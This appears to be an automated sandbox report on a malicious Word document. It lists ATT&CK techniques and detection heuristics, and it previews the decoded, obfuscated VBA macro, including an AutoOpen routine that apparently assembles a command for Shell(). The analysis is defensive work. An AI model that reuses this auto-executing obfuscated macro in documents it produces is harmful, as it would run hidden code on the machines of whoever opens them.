MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the Shell() function, indicating an attempt to execute arbitrary code. The macro's obfuscated nature and truncated content prevent a more detailed analysis of its specific payload or target.
Heuristics 5
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 62074 bytes |
SHA-256: 2ca8fa8d51e73a12205330841da19ebe05d5a5d3d8f65fb4967073c80fa2564d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ZXvczYjD" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Dim jBjjb(2) jBjjb(0) = MidB(HEzNh + NHvasnAMkwOnjALRQj + fPizp, 659, 183) + Right(zOLbkjPo + ovmNVhrzCQjzPKKpLaD + OZIozTvc, 921) jBjjb(1) = Mid(HtCNP + MzhSQvUWFwJBnwwYD + GnksGwW, 162, 944) + Right(MqmRvI + izpimEwFDQruquhYoaz + YvouY, 417) + MidB(LmqfRJwo + QEjiTHwXNkYjhFqPdX + dfICD, 492, 710) + Left(FajJcpc + cwpDmvIjDIYGcjDLREWm + TPAaF, 304) Dim qumLZs(2) qumLZs(0) = Left(GphaLzzA + mRDiGLDTjIVuiPiusdL + zjFDpU, 344) + Mid(jdwrIo + WYjkltjjjPvbSfkZ + OzOIA, 965, 196) + Left(HtTqHmSn + LXIkCtkCdLXuHZScl + itcWmWn, 782) + MidB(XEujFOMO + HUbjfwzMALbHcojGmzN + zKaLCL, 118, 255) qumLZs(1) = Right(bORsrnan + jwwSvFfHFQtqHYkzBuz + AZzQp, 366) + Mid(ldmDN + MFaFojYJIWPpqiPoSV + qotGHNUj, 149, 328) Dim vTstYR(1) vTstYR(0) = Right(HTDWSKXE + pvUQjQdaKocOwVlqVQATD + lXnzpQ, 852) + MidB(ZQikcwu + ziEFAMflSHpbQjWpdVYkf + pABNWVIc, 92, 54) + MidB(XaRDCab + AvYzbFOVuZjEXikmjwLjszz + RVKDk, 969, 781) + Right(QuQuHdI + SDnTCipFoPjzcrCDWwFjZHj + mrhYzD, 638) Dim GOzzl(2) GOzzl(0) = Right(AXGcK + lmkAntOwjaIbFpijONBrI + ShGbifN, 143) + Right(zHFqrPS + cuAKoUiAVkvcbhkUB + TXJldIqW, 974) GOzzl(1) = Mid(mFnRWR + ANlzkVAOJizSahADqFoiX + pMQJLS, 278, 717) + Left(iZYPnIb + lFLYMoOPJMjOfdjFwL + fzsDbnD, 946) Dim oUToDN(1) oUToDN(0) = MidB(qjzrJD + ZiMdNGimFXmYvJIkrivOB + tvCKlTqc, 461, 136) + Right(Mipjs + XpvZoHMzLdTLKVNiTEvvXCP + WCzDRKv, 55) + Left(NDZTzR + hBrVGwGdctYXYibOZCAOSPM + ukvicPi, 461) + Right(vAznY + ZzoUzLCVkjmYFXiBjOwH + icsNb, 290) Dim JpNhOz(2) JpNhOz(0) = Right(cHfBlVv + aEXnudrKPNSotVEQjsJlG + ocpYNhr, 744) + MidB(EIOMV + ihRnNwuGfUSRqHoP + BjbCsKA, 660, 2) JpNhOz(1) = MidB(JFDZf + SsiHCXErnRHXGaAqlVzwM + JZLPsLI, 265, 953) + Mid(uiDzI + QsfEinYoOFSwaNfYb + wJIJK, 727, 424) + MidB(NfivMvEq + TWuIiTptqSjrRVwYdlCCa + NWofIoBj, 535, 670) + MidB(dqUsS + dnQkSZRuGQUrFTEYh + HqcrUSi, 166, 860) CELrPEMmjiPRav (KeyString(SfNizzqv + YrDXXX + 3 + 21 + 43 + TOLTd + HHqhuu) + FnFIUGj + Qhwuo + KeyString(bFUrK + BuKsszOY + 3 + 24 + 50 + MzkSPcGk + CvWYTzpF) + hwJAkrcdPi + kpaPVKIjC + DjjLkMC + LXztiuj + FhUSXEib + qmtBicvR + QRdnE + EzbizTdK) Dim lOVplq(1) lOVplq(0) = Left(JwArKK + fMuFZoXjiVbUSOZPwo + mDhXnmZU, 823) + Mid(buGPFwt + DVuBJidkvTkiBsRil + iztYcM, 969, 378) + Left(rvpRJ + LEwjvKwbwONfLLrzHkzWiR + tidqsL, 64) + MidB(NiimCbB + FnrfAAaYdMiRuzOzIW + oihKIKF, 168, 958) Dim ZWNIC(2) ZWNIC(0) = MidB(ZTkuaMM + LfwBqfJGkFzAZDsXqDt + zOkkudmO, 652, 643) + MidB(OiTumECS + ZuKiXToORREEwPdzqPSQ + VZdEz, 840, 926) + Right(ppaQGT + TqhJdrnoZUcTGdBuLFPaU + nFYzWiQr, 989) + MidB(trhiQKSb + iLsoFZOSQMdoEpCqLcH + iKMjpEHt, 693, 892) ZWNIC(1) = Mid(jLRECYvK + DdlBVPkTbHDGudzITstA + illJDLt, 127, 347) + Mid(unjrIzb + cFWsTvwOXJdniwaPQOzo + npQRKtS, 447, 225) + Right(OtqHPs + wGHVrMKZMYiRiGfjEiqF + SPEkI, 11) + MidB(tpXjT + ATGKnIffKAjIHAfKZz + DMCZXtrz, 743, 142) Dim Kjvoj(2) Kjvoj(0) = MidB(ZZHQNRd + AJwHviwkCkmOcdjF + rbPNj, 300, 911) + MidB(IuLUzdIY + jzDjZzktokhXKijtOO + vupaU, 230, 712) + Mid(bZrHn + QvBBHEaWCquYiXuHmjW + IUfGw, 371, 191) + Left(ucTNGvrT + SVqvZhHNjHFuimYUYhsVG + aDRwQ, 362) Kjvoj(1) = MidB(whSZFZrz + joioPNISusZAkQXGOPooz + bNSujh, 922, 629) + MidB(TloEqzTV + jhJiSnhZrzlHzlENKdT + EUOzYS, 415, 366) + MidB(ktEkc + OHiqhdquwOHsujdzZAJ + jrzNsr, 310, 553) + Mid(PLcjWqX + VHLBNWWGiTjFAqidaD + nRfBuAG, 136, 25) End Sub Attribute VB_Name = "LpYOidQjnaKzwL" Function hwJAkrcdPi() Dim LMPZz(1) LMPZz(0) = MidB(oPoNi + rLIoGJziRiAkZonHm + TuSLIVfG, 232, 276) + MidB(cRSIKj + iwqcZDpzabzrNWv + TbFUEKYS, 130, 605) + MidB(plPUDpm + pGlmNPZFmPbIsWYOiliUw + XiXJj, 168, 970) + Mid(VThquut + MwhsMahRbjHmmlvCvGHdlO + ohUjsh, 530, 736) Dim kBrSEf(1) kBrSEf(0) = Mid(jLNJjkDp + TOvqZmhLJVsfnuCCtPaF + FXXWB, 297, 514) + MidB(iPwucEb + tdrfZONAmEztjTPUK + uazFfTca, 958, 341) Dim Ml ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.